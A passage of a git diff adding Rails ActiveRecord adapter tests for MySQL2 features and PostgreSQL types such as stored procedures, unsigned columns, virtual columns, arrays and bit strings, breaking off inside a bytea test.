+
+  def test_foreign_keys_method_with_ansi_quotes
+    fks = @connection.foreign_keys("lessons_students")
+    assert_equal([["lessons_students", "students", :cascade]],
+                 fks.map { |fk| [fk.from_table, fk.to_table, fk.on_delete] })
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/sp_test.rb b/activerecord/test/cases/adapters/mysql2/sp_test.rb
new file mode 100644
index 0000000000..47cedc5edf
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/sp_test.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/reply"
+
+class Mysql2StoredProcedureTest < ActiveRecord::Mysql2TestCase
+  fixtures :topics
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    unless ActiveRecord::Base.connection.version >= "5.6.0"
+      skip("no stored procedure support")
+    end
+  end
+
+  # Test that MySQL allows multiple results for stored procedures
+  #
+  # In MySQL 5.6, CLIENT_MULTI_RESULTS is enabled by default.
+  # http://dev.mysql.com/doc/refman/5.6/en/call.html
+  def test_multi_results
+    rows = @connection.select_rows("CALL ten();")
+    assert_equal 10, rows[0][0].to_i, "ten() did not return 10 as expected: #{rows.inspect}"
+    assert @connection.active?, "Bad connection use by 'Mysql2Adapter.select_rows'"
+  end
+
+  def test_multi_results_from_select_one
+    row = @connection.select_one("CALL topics(1);")
+    assert_equal "David", row["author_name"]
+    assert @connection.active?, "Bad connection use by 'Mysql2Adapter.select_one'"
+  end
+
+  def test_multi_results_from_find_by_sql
+    topics = Topic.find_by_sql "CALL topics(3);"
+    assert_equal 3, topics.size
+    assert @connection.active?, "Bad connection use by 'Mysql2Adapter.select'"
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/sql_types_test.rb b/activerecord/test/cases/adapters/mysql2/sql_types_test.rb
new file mode 100644
index 0000000000..e10642cbb4
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/sql_types_test.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class Mysql2SqlTypesTest < ActiveRecord::Mysql2TestCase
+  def test_binary_types
+    assert_equal "varbinary(64)", type_to_sql(:binary, 64)
+    assert_equal "varbinary(4095)", type_to_sql(:binary, 4095)
+    assert_equal "blob", type_to_sql(:binary, 4096)
+    assert_equal "blob", type_to_sql(:binary)
+  end
+
+  def type_to_sql(type, limit = nil)
+    ActiveRecord::Base.connection.type_to_sql(type, limit: limit)
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/table_options_test.rb b/activerecord/test/cases/adapters/mysql2/table_options_test.rb
new file mode 100644
index 0000000000..6183d66b63
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/table_options_test.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class Mysql2TableOptionsTest < ActiveRecord::Mysql2TestCase
+  include SchemaDumpingHelper
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+  end
+
+  def teardown
+    @connection.drop_table "mysql_table_options", if_exists: true
+  end
+
+  test "table options with ENGINE" do
+    @connection.create_table "mysql_table_options", force: true, options: "ENGINE=MyISAM"
+    output = dump_table_schema("mysql_table_options")
+    options = %r{create_table "mysql_table_options", force: :cascade, options: "(?<options>.*)"}.match(output)[:options]
+    assert_match %r{ENGINE=MyISAM}, options
+  end
+
+  test "table options with ROW_FORMAT" do
+    @connection.create_table "mysql_table_options", force: true, options: "ROW_FORMAT=REDUNDANT"
+    output = dump_table_schema("mysql_table_options")
+    options = %r{create_table "mysql_table_options", force: :cascade, options: "(?<options>.*)"}.match(output)[:options]
+    assert_match %r{ROW_FORMAT=REDUNDANT}, options
+  end
+
+  test "table options with CHARSET" do
+    @connection.create_table "mysql_table_options", force: true, options: "CHARSET=utf8mb4"
+    output = dump_table_schema("mysql_table_options")
+    options = %r{create_table "mysql_table_options", force: :cascade, options: "(?<options>.*)"}.match(output)[:options]
+    assert_match %r{CHARSET=utf8mb4}, options
+  end
+
+  test "table options with COLLATE" do
+    @connection.create_table "mysql_table_options", force: true, options: "COLLATE=utf8mb4_bin"
+    output = dump_table_schema("mysql_table_options")
+    options = %r{create_table "mysql_table_options", force: :cascade, options: "(?<options>.*)"}.match(output)[:options]
+    assert_match %r{COLLATE=utf8mb4_bin}, options
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/transaction_test.rb b/activerecord/test/cases/adapters/mysql2/transaction_test.rb
new file mode 100644
index 0000000000..e603baab69
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/transaction_test.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+
+module ActiveRecord
+  class Mysql2TransactionTest < ActiveRecord::Mysql2TestCase
+    self.use_transactional_tests = false
+
+    class Sample < ActiveRecord::Base
+      self.table_name = "samples"
+    end
+
+    setup do
+      @abort, Thread.abort_on_exception = Thread.abort_on_exception, false
+
+      @connection = ActiveRecord::Base.connection
+      @connection.clear_cache!
+
+      @connection.transaction do
+        @connection.drop_table "samples", if_exists: true
+        @connection.create_table("samples") do |t|
+          t.integer "value"
+        end
+      end
+
+      Sample.reset_column_information
+    end
+
+    teardown do
+      @connection.drop_table "samples", if_exists: true
+
+      Thread.abort_on_exception = @abort
+    end
+
+    test "raises Deadlocked when a deadlock is encountered" do
+      assert_raises(ActiveRecord::Deadlocked) do
+        barrier = Concurrent::CyclicBarrier.new(2)
+
+        s1 = Sample.create value: 1
+        s2 = Sample.create value: 2
+
+        thread = Thread.new do
+          Sample.transaction do
+            s1.lock!
+            barrier.wait
+            s2.update_attributes value: 1
+          end
+        end
+
+        begin
+          Sample.transaction do
+            s2.lock!
+            barrier.wait
+            s1.update_attributes value: 2
+          end
+        ensure
+          thread.join
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/unsigned_type_test.rb b/activerecord/test/cases/adapters/mysql2/unsigned_type_test.rb
new file mode 100644
index 0000000000..d0a09f6481
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/unsigned_type_test.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class Mysql2UnsignedTypeTest < ActiveRecord::Mysql2TestCase
+  include SchemaDumpingHelper
+  self.use_transactional_tests = false
+
+  class UnsignedType < ActiveRecord::Base
+  end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table("unsigned_types", force: true) do |t|
+      t.integer :unsigned_integer, unsigned: true
+      t.bigint  :unsigned_bigint,  unsigned: true
+      t.float   :unsigned_float,   unsigned: true
+      t.decimal :unsigned_decimal, unsigned: true, precision: 10, scale: 2
+      t.column  :unsigned_zerofill, "int unsigned zerofill"
+    end
+  end
+
+  teardown do
+    @connection.drop_table "unsigned_types", if_exists: true
+  end
+
+  test "unsigned int max value is in range" do
+    assert expected = UnsignedType.create(unsigned_integer: 4294967295)
+    assert_equal expected, UnsignedType.find_by(unsigned_integer: 4294967295)
+  end
+
+  test "minus value is out of range" do
+    assert_raise(ActiveModel::RangeError) do
+      UnsignedType.create(unsigned_integer: -10)
+    end
+    assert_raise(ActiveModel::RangeError) do
+      UnsignedType.create(unsigned_bigint: -10)
+    end
+    assert_raise(ActiveRecord::RangeError) do
+      UnsignedType.create(unsigned_float: -10.0)
+    end
+    assert_raise(ActiveRecord::RangeError) do
+      UnsignedType.create(unsigned_decimal: -10.0)
+    end
+  end
+
+  test "schema definition can use unsigned as the type" do
+    @connection.change_table("unsigned_types") do |t|
+      t.unsigned_integer :unsigned_integer_t
+      t.unsigned_bigint  :unsigned_bigint_t
+      t.unsigned_float   :unsigned_float_t
+      t.unsigned_decimal :unsigned_decimal_t, precision: 10, scale: 2
+    end
+
+    @connection.columns("unsigned_types").select { |c| /^unsigned_/.match?(c.name) }.each do |column|
+      assert column.unsigned?
+    end
+  end
+
+  test "schema dump includes unsigned option" do
+    schema = dump_table_schema "unsigned_types"
+    assert_match %r{t\.integer\s+"unsigned_integer",\s+unsigned: true$}, schema
+    assert_match %r{t\.bigint\s+"unsigned_bigint",\s+unsigned: true$}, schema
+    assert_match %r{t\.float\s+"unsigned_float",\s+limit: 24,\s+unsigned: true$}, schema
+    assert_match %r{t\.decimal\s+"unsigned_decimal",\s+precision: 10,\s+scale: 2,\s+unsigned: true$}, schema
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/virtual_column_test.rb b/activerecord/test/cases/adapters/mysql2/virtual_column_test.rb
new file mode 100644
index 0000000000..ffde8ed4d8
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/virtual_column_test.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+if ActiveRecord::Base.connection.supports_virtual_columns?
+  class Mysql2VirtualColumnTest < ActiveRecord::Mysql2TestCase
+    include SchemaDumpingHelper
+
+    self.use_transactional_tests = false
+
+    class VirtualColumn < ActiveRecord::Base
+    end
+
+    def setup
+      @connection = ActiveRecord::Base.connection
+      @connection.create_table :virtual_columns, force: true do |t|
+        t.string  :name
+        t.virtual :upper_name,  type: :string,  as: "UPPER(`name`)"
+        t.virtual :name_length, type: :integer, as: "LENGTH(`name`)", stored: true
+      end
+      VirtualColumn.create(name: "Rails")
+    end
+
+    def teardown
+      @connection.drop_table :virtual_columns, if_exists: true
+      VirtualColumn.reset_column_information
+    end
+
+    def test_virtual_column
+      column = VirtualColumn.columns_hash["upper_name"]
+      assert_predicate column, :virtual?
+      assert_match %r{\bVIRTUAL\b}, column.extra
+      assert_equal "RAILS", VirtualColumn.take.upper_name
+    end
+
+    def test_stored_column
+      column = VirtualColumn.columns_hash["name_length"]
+      assert_predicate column, :virtual?
+      assert_match %r{\b(?:STORED|PERSISTENT)\b}, column.extra
+      assert_equal 5, VirtualColumn.take.name_length
+    end
+
+    def test_change_table
+      @connection.change_table :virtual_columns do |t|
+        t.virtual :lower_name, type: :string, as: "LOWER(name)"
+      end
+      VirtualColumn.reset_column_information
+      column = VirtualColumn.columns_hash["lower_name"]
+      assert_predicate column, :virtual?
+      assert_match %r{\bVIRTUAL\b}, column.extra
+      assert_equal "rails", VirtualColumn.take.lower_name
+    end
+
+    def test_schema_dumping
+      output = dump_table_schema("virtual_columns")
+      assert_match(/t\.virtual\s+"upper_name",\s+type: :string,\s+as: "(?:UPPER|UCASE)\(`name`\)"$/i, output)
+      assert_match(/t\.virtual\s+"name_length",\s+type: :integer,\s+as: "LENGTH\(`name`\)",\s+stored: true$/i, output)
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
new file mode 100644
index 0000000000..9929237546
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
@@ -0,0 +1,100 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class PostgresqlActiveSchemaTest < ActiveRecord::PostgreSQLTestCase
+  def setup
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.class_eval do
+      def execute(sql, name = nil) sql end
+    end
+  end
+
+  teardown do
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.class_eval do
+      remove_method :execute
+    end
+  end
+
+  def test_create_database_with_encoding
+    assert_equal %(CREATE DATABASE "matt" ENCODING = 'utf8'), create_database(:matt)
+    assert_equal %(CREATE DATABASE "aimonetti" ENCODING = 'latin1'), create_database(:aimonetti, encoding: :latin1)
+    assert_equal %(CREATE DATABASE "aimonetti" ENCODING = 'latin1'), create_database(:aimonetti, "encoding" => :latin1)
+  end
+
+  def test_create_database_with_collation_and_ctype
+    assert_equal %(CREATE DATABASE "aimonetti" ENCODING = 'UTF8' LC_COLLATE = 'ja_JP.UTF8' LC_CTYPE = 'ja_JP.UTF8'), create_database(:aimonetti, encoding: :"UTF8", collation: :"ja_JP.UTF8", ctype: :"ja_JP.UTF8")
+  end
+
+  def test_add_index
+    # add_index calls index_name_exists? which can't work since execute is stubbed
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send(:define_method, :index_name_exists?) { |*| false }
+
+    expected = %(CREATE UNIQUE INDEX  "index_people_on_last_name" ON "people"  ("last_name") WHERE state = 'active')
+    assert_equal expected, add_index(:people, :last_name, unique: true, where: "state = 'active'")
+
+    expected = %(CREATE UNIQUE INDEX  "index_people_on_lower_last_name" ON "people"  (lower(last_name)))
+    assert_equal expected, add_index(:people, "lower(last_name)", unique: true)
+
+    expected = %(CREATE UNIQUE INDEX  "index_people_on_last_name_varchar_pattern_ops" ON "people"  (last_name varchar_pattern_ops))
+    assert_equal expected, add_index(:people, "last_name varchar_pattern_ops", unique: true)
+
+    expected = %(CREATE  INDEX CONCURRENTLY "index_people_on_last_name" ON "people"  ("last_name"))
+    assert_equal expected, add_index(:people, :last_name, algorithm: :concurrently)
+
+    expected = %(CREATE  INDEX  "index_people_on_last_name_and_first_name" ON "people"  ("last_name" DESC, "first_name" ASC))
+    assert_equal expected, add_index(:people, [:last_name, :first_name], order: { last_name: :desc, first_name: :asc })
+    assert_equal expected, add_index(:people, ["last_name", :first_name], order: { last_name: :desc, "first_name" => :asc })
+
+    %w(gin gist hash btree).each do |type|
+      expected = %(CREATE  INDEX  "index_people_on_last_name" ON "people" USING #{type} ("last_name"))
+      assert_equal expected, add_index(:people, :last_name, using: type)
+
+      expected = %(CREATE  INDEX CONCURRENTLY "index_people_on_last_name" ON "people" USING #{type} ("last_name"))
+      assert_equal expected, add_index(:people, :last_name, using: type, algorithm: :concurrently)
+
+      expected = %(CREATE UNIQUE INDEX  "index_people_on_last_name" ON "people" USING #{type} ("last_name") WHERE state = 'active')
+      assert_equal expected, add_index(:people, :last_name, using: type, unique: true, where: "state = 'active'")
+
+      expected = %(CREATE UNIQUE INDEX  "index_people_on_lower_last_name" ON "people" USING #{type} (lower(last_name)))
+      assert_equal expected, add_index(:people, "lower(last_name)", using: type, unique: true)
+    end
+
+    assert_raise ArgumentError do
+      add_index(:people, :last_name, algorithm: :copy)
+    end
+
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send :remove_method, :index_name_exists?
+  end
+
+  def test_remove_index
+    # remove_index calls index_name_for_remove which can't work since execute is stubbed
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send(:define_method, :index_name_for_remove) do |*|
+      "index_people_on_last_name"
+    end
+
+    expected = %(DROP INDEX CONCURRENTLY "index_people_on_last_name")
+    assert_equal expected, remove_index(:people, name: "index_people_on_last_name", algorithm: :concurrently)
+
+    assert_raise ArgumentError do
+      add_index(:people, :last_name, algorithm: :copy)
+    end
+
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send :remove_method, :index_name_for_remove
+  end
+
+  def test_remove_index_when_name_is_specified
+    expected = %(DROP INDEX CONCURRENTLY "index_people_on_last_name")
+    assert_equal expected, remove_index(:people, name: "index_people_on_last_name", algorithm: :concurrently)
+  end
+
+  def test_remove_index_with_wrong_option
+    assert_raises ArgumentError do
+      remove_index(:people, coulmn: :last_name)
+    end
+  end
+
+  private
+    def method_missing(method_symbol, *arguments)
+      ActiveRecord::Base.connection.send(method_symbol, *arguments)
+    end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/array_test.rb b/activerecord/test/cases/adapters/postgresql/array_test.rb
new file mode 100644
index 0000000000..8507dbb463
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/array_test.rb
@@ -0,0 +1,355 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class PostgresqlArrayTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+  include InTimeZone
+
+  class PgArray < ActiveRecord::Base
+    self.table_name = "pg_arrays"
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+
+    enable_extension!("hstore", @connection)
+
+    @connection.transaction do
+      @connection.create_table("pg_arrays") do |t|
+        t.string "tags", array: true, limit: 255
+        t.integer "ratings", array: true
+        t.datetime :datetimes, array: true
+        t.hstore :hstores, array: true
+        t.decimal :decimals, array: true, default: [], precision: 10, scale: 2
+        t.timestamp :timestamps, array: true, default: [], precision: 6
+      end
+    end
+    PgArray.reset_column_information
+    @column = PgArray.columns_hash["tags"]
+    @type = PgArray.type_for_attribute("tags")
+  end
+
+  teardown do
+    @connection.drop_table "pg_arrays", if_exists: true
+    disable_extension!("hstore", @connection)
+  end
+
+  def test_column
+    assert_equal :string, @column.type
+    assert_equal "character varying(255)", @column.sql_type
+    assert @column.array?
+    assert_not @type.binary?
+
+    ratings_column = PgArray.columns_hash["ratings"]
+    assert_equal :integer, ratings_column.type
+    assert ratings_column.array?
+  end
+
+  def test_default
+    @connection.add_column "pg_arrays", "score", :integer, array: true, default: [4, 4, 2]
+    PgArray.reset_column_information
+
+    assert_equal([4, 4, 2], PgArray.column_defaults["score"])
+    assert_equal([4, 4, 2], PgArray.new.score)
+  ensure
+    PgArray.reset_column_information
+  end
+
+  def test_default_strings
+    @connection.add_column "pg_arrays", "names", :string, array: true, default: ["foo", "bar"]
+    PgArray.reset_column_information
+
+    assert_equal(["foo", "bar"], PgArray.column_defaults["names"])
+    assert_equal(["foo", "bar"], PgArray.new.names)
+  ensure
+    PgArray.reset_column_information
+  end
+
+  def test_change_column_with_array
+    @connection.add_column :pg_arrays, :snippets, :string, array: true, default: []
+    @connection.change_column :pg_arrays, :snippets, :text, array: true, default: []
+
+    PgArray.reset_column_information
+    column = PgArray.columns_hash["snippets"]
+
+    assert_equal :text, column.type
+    assert_equal [], PgArray.column_defaults["snippets"]
+    assert column.array?
+  end
+
+  def test_change_column_cant_make_non_array_column_to_array
+    @connection.add_column :pg_arrays, :a_string, :string
+    assert_raises ActiveRecord::StatementInvalid do
+      @connection.transaction do
+        @connection.change_column :pg_arrays, :a_string, :string, array: true
+      end
+    end
+  end
+
+  def test_change_column_default_with_array
+    @connection.change_column_default :pg_arrays, :tags, []
+
+    PgArray.reset_column_information
+    assert_equal [], PgArray.column_defaults["tags"]
+  end
+
+  def test_type_cast_array
+    assert_equal(["1", "2", "3"], @type.deserialize("{1,2,3}"))
+    assert_equal([], @type.deserialize("{}"))
+    assert_equal([nil], @type.deserialize("{NULL}"))
+  end
+
+  def test_type_cast_integers
+    x = PgArray.new(ratings: ["1", "2"])
+
+    assert_equal([1, 2], x.ratings)
+
+    x.save!
+    x.reload
+
+    assert_equal([1, 2], x.ratings)
+  end
+
+  def test_schema_dump_with_shorthand
+    output = dump_table_schema "pg_arrays"
+    assert_match %r[t\.string\s+"tags",\s+limit: 255,\s+array: true], output
+    assert_match %r[t\.integer\s+"ratings",\s+array: true], output
+    assert_match %r[t\.decimal\s+"decimals",\s+precision: 10,\s+scale: 2,\s+default: \[\],\s+array: true], output
+  end
+
+  def test_select_with_strings
+    @connection.execute "insert into pg_arrays (tags) VALUES ('{1,2,3}')"
+    x = PgArray.first
+    assert_equal(["1", "2", "3"], x.tags)
+  end
+
+  def test_rewrite_with_strings
+    @connection.execute "insert into pg_arrays (tags) VALUES ('{1,2,3}')"
+    x = PgArray.first
+    x.tags = ["1", "2", "3", "4"]
+    x.save!
+    assert_equal ["1", "2", "3", "4"], x.reload.tags
+  end
+
+  def test_select_with_integers
+    @connection.execute "insert into pg_arrays (ratings) VALUES ('{1,2,3}')"
+    x = PgArray.first
+    assert_equal([1, 2, 3], x.ratings)
+  end
+
+  def test_rewrite_with_integers
+    @connection.execute "insert into pg_arrays (ratings) VALUES ('{1,2,3}')"
+    x = PgArray.first
+    x.ratings = [2, "3", 4]
+    x.save!
+    assert_equal [2, 3, 4], x.reload.ratings
+  end
+
+  def test_multi_dimensional_with_strings
+    assert_cycle(:tags, [[["1"], ["2"]], [["2"], ["3"]]])
+  end
+
+  def test_with_empty_strings
+    assert_cycle(:tags, [ "1", "2", "", "4", "", "5" ])
+  end
+
+  def test_with_multi_dimensional_empty_strings
+    assert_cycle(:tags, [[["1", "2"], ["", "4"], ["", "5"]]])
+  end
+
+  def test_with_arbitrary_whitespace
+    assert_cycle(:tags, [[["1", "2"], ["    ", "4"], ["    ", "5"]]])
+  end
+
+  def test_multi_dimensional_with_integers
+    assert_cycle(:ratings, [[[1], [7]], [[8], [10]]])
+  end
+
+  def test_strings_with_quotes
+    assert_cycle(:tags, ["this has", 'some "s that need to be escaped"'])
+  end
+
+  def test_strings_with_commas
+    assert_cycle(:tags, ["this,has", "many,values"])
+  end
+
+  def test_strings_with_array_delimiters
+    assert_cycle(:tags, ["{", "}"])
+  end
+
+  def test_strings_with_null_strings
+    assert_cycle(:tags, ["NULL", "NULL"])
+  end
+
+  def test_contains_nils
+    assert_cycle(:tags, ["1", nil, nil])
+  end
+
+  def test_insert_fixture
+    tag_values = ["val1", "val2", "val3_with_'_multiple_quote_'_chars"]
+    @connection.insert_fixture({ "tags" => tag_values }, "pg_arrays")
+    assert_equal(PgArray.last.tags, tag_values)
+  end
+
+  def test_insert_fixtures
+    tag_values = ["val1", "val2", "val3_with_'_multiple_quote_'_chars"]
+    @connection.insert_fixtures([{ "tags" => tag_values }], "pg_arrays")
+    assert_equal(PgArray.last.tags, tag_values)
+  end
+
+  def test_attribute_for_inspect_for_array_field
+    record = PgArray.new { |a| a.ratings = (1..10).to_a }
+    assert_equal("[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]", record.attribute_for_inspect(:ratings))
+  end
+
+  def test_attribute_for_inspect_for_array_field_for_large_array
+    record = PgArray.new { |a| a.ratings = (1..11).to_a }
+    assert_equal("[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]", record.attribute_for_inspect(:ratings))
+  end
+
+  def test_escaping
+    unknown = 'foo\\",bar,baz,\\'
+    tags = ["hello_#{unknown}"]
+    ar = PgArray.create!(tags: tags)
+    ar.reload
+    assert_equal tags, ar.tags
+  end
+
+  def test_string_quoting_rules_match_pg_behavior
+    tags = ["", "one{", "two}", %(three"), "four\\", "five ", "six\t", "seven\n", "eight,", "nine", "ten\r", "NULL"]
+    x = PgArray.create!(tags: tags)
+    x.reload
+
+    refute x.changed?
+  end
+
+  def test_quoting_non_standard_delimiters
+    strings = ["hello,", "world;"]
+    oid = ActiveRecord::ConnectionAdapters::PostgreSQL::OID
+    comma_delim = oid::Array.new(ActiveRecord::Type::String.new, ",")
+    semicolon_delim = oid::Array.new(ActiveRecord::Type::String.new, ";")
+    conn = PgArray.connection
+
+    assert_equal %({"hello,",world;}), conn.type_cast(comma_delim.serialize(strings))
+    assert_equal %({hello,;"world;"}), conn.type_cast(semicolon_delim.serialize(strings))
+  end
+
+  def test_mutate_array
+    x = PgArray.create!(tags: %w(one two))
+
+    x.tags << "three"
+    x.save!
+    x.reload
+
+    assert_equal %w(one two three), x.tags
+    assert_not x.changed?
+  end
+
+  def test_mutate_value_in_array
+    x = PgArray.create!(hstores: [{ a: "a" }, { b: "b" }])
+
+    x.hstores.first["a"] = "c"
+    x.save!
+    x.reload
+
+    assert_equal [{ "a" => "c" }, { "b" => "b" }], x.hstores
+    assert_not x.changed?
+  end
+
+  def test_datetime_with_timezone_awareness
+    tz = "Pacific Time (US & Canada)"
+
+    in_time_zone tz do
+      PgArray.reset_column_information
+      time_string = Time.current.to_s
+      time = Time.zone.parse(time_string)
+
+      record = PgArray.new(datetimes: [time_string])
+      assert_equal [time], record.datetimes
+      assert_equal ActiveSupport::TimeZone[tz], record.datetimes.first.time_zone
+
+      record.save!
+      record.reload
+
+      assert_equal [time], record.datetimes
+      assert_equal ActiveSupport::TimeZone[tz], record.datetimes.first.time_zone
+    end
+  end
+
+  def test_assigning_non_array_value
+    record = PgArray.new(tags: "not-an-array")
+    assert_equal [], record.tags
+    assert_equal "not-an-array", record.tags_before_type_cast
+    assert record.save
+    assert_equal record.tags, record.reload.tags
+  end
+
+  def test_assigning_empty_string
+    record = PgArray.new(tags: "")
+    assert_equal [], record.tags
+    assert_equal "", record.tags_before_type_cast
+    assert record.save
+    assert_equal record.tags, record.reload.tags
+  end
+
+  def test_assigning_valid_pg_array_literal
+    record = PgArray.new(tags: "{1,2,3}")
+    assert_equal ["1", "2", "3"], record.tags
+    assert_equal "{1,2,3}", record.tags_before_type_cast
+    assert record.save
+    assert_equal record.tags, record.reload.tags
+  end
+
+  def test_where_by_attribute_with_array
+    tags = ["black", "blue"]
+    record = PgArray.create!(tags: tags)
+    assert_equal record, PgArray.where(tags: tags).take
+  end
+
+  def test_uniqueness_validation
+    klass = Class.new(PgArray) do
+      validates_uniqueness_of :tags
+
+      def self.model_name; ActiveModel::Name.new(PgArray) end
+    end
+    e1 = klass.create("tags" => ["black", "blue"])
+    assert e1.persisted?, "Saving e1"
+
+    e2 = klass.create("tags" => ["black", "blue"])
+    assert !e2.persisted?, "e2 shouldn't be valid"
+    assert e2.errors[:tags].any?, "Should have errors for tags"
+    assert_equal ["has already been taken"], e2.errors[:tags], "Should have uniqueness message for tags"
+  end
+
+  def test_encoding_arrays_of_utf8_strings
+    arrays_of_utf8_strings = %w(nový ファイル)
+    assert_equal arrays_of_utf8_strings, @type.deserialize(@type.serialize(arrays_of_utf8_strings))
+    assert_equal [arrays_of_utf8_strings], @type.deserialize(@type.serialize([arrays_of_utf8_strings]))
+  end
+
+  def test_precision_is_respected_on_timestamp_columns
+    time = Time.now.change(usec: 123)
+    record = PgArray.create!(timestamps: [time])
+
+    assert_equal 123, record.timestamps.first.usec
+    record.reload
+    assert_equal 123, record.timestamps.first.usec
+  end
+
+  private
+    def assert_cycle(field, array)
+      # test creation
+      x = PgArray.create!(field => array)
+      x.reload
+      assert_equal(array, x.public_send(field))
+
+      # test updating
+      x = PgArray.create!(field => [])
+      x.public_send("#{field}=", array)
+      x.save!
+      x.reload
+      assert_equal(array, x.public_send(field))
+    end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/bit_string_test.rb b/activerecord/test/cases/adapters/postgresql/bit_string_test.rb
new file mode 100644
index 0000000000..df04299569
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/bit_string_test.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+require "support/schema_dumping_helper"
+
+class PostgresqlBitStringTest < ActiveRecord::PostgreSQLTestCase
+  include ConnectionHelper
+  include SchemaDumpingHelper
+
+  class PostgresqlBitString < ActiveRecord::Base; end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table("postgresql_bit_strings", force: true) do |t|
+      t.bit :a_bit, default: "00000011", limit: 8
+      t.bit_varying :a_bit_varying, default: "0011", limit: 4
+      t.bit :another_bit
+      t.bit_varying :another_bit_varying
+    end
+  end
+
+  def teardown
+    return unless @connection
+    @connection.drop_table "postgresql_bit_strings", if_exists: true
+  end
+
+  def test_bit_string_column
+    column = PostgresqlBitString.columns_hash["a_bit"]
+    assert_equal :bit, column.type
+    assert_equal "bit(8)", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlBitString.type_for_attribute("a_bit")
+    assert_not type.binary?
+  end
+
+  def test_bit_string_varying_column
+    column = PostgresqlBitString.columns_hash["a_bit_varying"]
+    assert_equal :bit_varying, column.type
+    assert_equal "bit varying(4)", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlBitString.type_for_attribute("a_bit_varying")
+    assert_not type.binary?
+  end
+
+  def test_default
+    assert_equal "00000011", PostgresqlBitString.column_defaults["a_bit"]
+    assert_equal "00000011", PostgresqlBitString.new.a_bit
+
+    assert_equal "0011", PostgresqlBitString.column_defaults["a_bit_varying"]
+    assert_equal "0011", PostgresqlBitString.new.a_bit_varying
+  end
+
+  def test_schema_dumping
+    output = dump_table_schema("postgresql_bit_strings")
+    assert_match %r{t\.bit\s+"a_bit",\s+limit: 8,\s+default: "00000011"$}, output
+    assert_match %r{t\.bit_varying\s+"a_bit_varying",\s+limit: 4,\s+default: "0011"$}, output
+  end
+
+  if ActiveRecord::Base.connection.prepared_statements
+    def test_assigning_invalid_hex_string_raises_exception
+      assert_raises(ActiveRecord::StatementInvalid) { PostgresqlBitString.create! a_bit: "FF" }
+      assert_raises(ActiveRecord::StatementInvalid) { PostgresqlBitString.create! a_bit_varying: "F" }
+    end
+  end
+
+  def test_roundtrip
+    record = PostgresqlBitString.create!(a_bit: "00001010", a_bit_varying: "0101")
+    assert_equal "00001010", record.a_bit
+    assert_equal "0101", record.a_bit_varying
+    assert_nil record.another_bit
+    assert_nil record.another_bit_varying
+
+    record.a_bit = "11111111"
+    record.a_bit_varying = "0xF"
+    record.save!
+
+    assert record.reload
+    assert_equal "11111111", record.a_bit
+    assert_equal "1111", record.a_bit_varying
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/bytea_test.rb b/activerecord/test/cases/adapters/postgresql/bytea_test.rb
new file mode 100644
index 0000000000..a6bee113ff
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/bytea_test.rb
@@ -0,0 +1,137 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class PostgresqlByteaTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+
+  class ByteaDataType < ActiveRecord::Base
+    self.table_name = "bytea_data_type"
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    begin
+      @connection.transaction do
+        @connection.create_table("bytea_data_type") do |t|
+          t.binary "payload"
+          t.binary "serialized"
+        end
+      end
+    end
+    @column = ByteaDataType.columns_hash["payload"]
+    @type = ByteaDataType.type_for_attribute("payload")
+  end
+
+  teardown do
+    @connection.drop_table "bytea_data_type", if_exists: true
+  end
+
+  def test_column
+    assert @column.is_a?(ActiveRecord::ConnectionAdapters::PostgreSQLColumn)
